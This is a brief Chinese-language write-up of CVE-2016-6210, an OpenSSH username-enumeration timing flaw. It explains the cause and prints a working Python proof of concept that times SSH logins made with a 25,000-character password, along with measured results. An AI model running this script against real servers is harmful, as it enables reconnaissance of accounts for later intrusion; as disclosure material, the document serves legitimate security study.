OpenSSH畸形长度密码枚举系统用户(CVE-2016-6210)

OpenSSH <=OpenSSH 7.2p2

0x02 漏洞描述

当我们使用不存在的用户名去连接ssh服务器时,SSHD会基于BLOWFISH算法去生成一个假的密码,但如果使用存在的用户名,SSHD会使用SHA256/SHA512算法对密码进行加密。所以我们发送一个超大密码(>10KB),SHA256算法计算时间就远长于BLOWFISH算法的假密码。所以基于这个原理,我们可以枚举ssh用户名。

0x03 漏洞证明

测试的python脚本如下:

poc

import paramiko

import time

user=raw_input("user: ")

p='A'*25000

ssh = paramiko.SSHClient()

starttime=time.time()

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

try:

        ssh.connect('127.0.0.1', username=user,

        password=p)

except:

        endtime=time.time()

total=endtime-starttime

print(total)
分别使用本地内网对内网服务器、内网对外网VPS服务器进行测试
内网对内网
首先使用不存在的用户名进行测试:

nouser

再使用存在的root账户进行测试:

user

12.66秒>4.74秒,测试成功!

0x04 修复方案

等OpenSSH官网补丁吧

results matching ""

    No results matching ""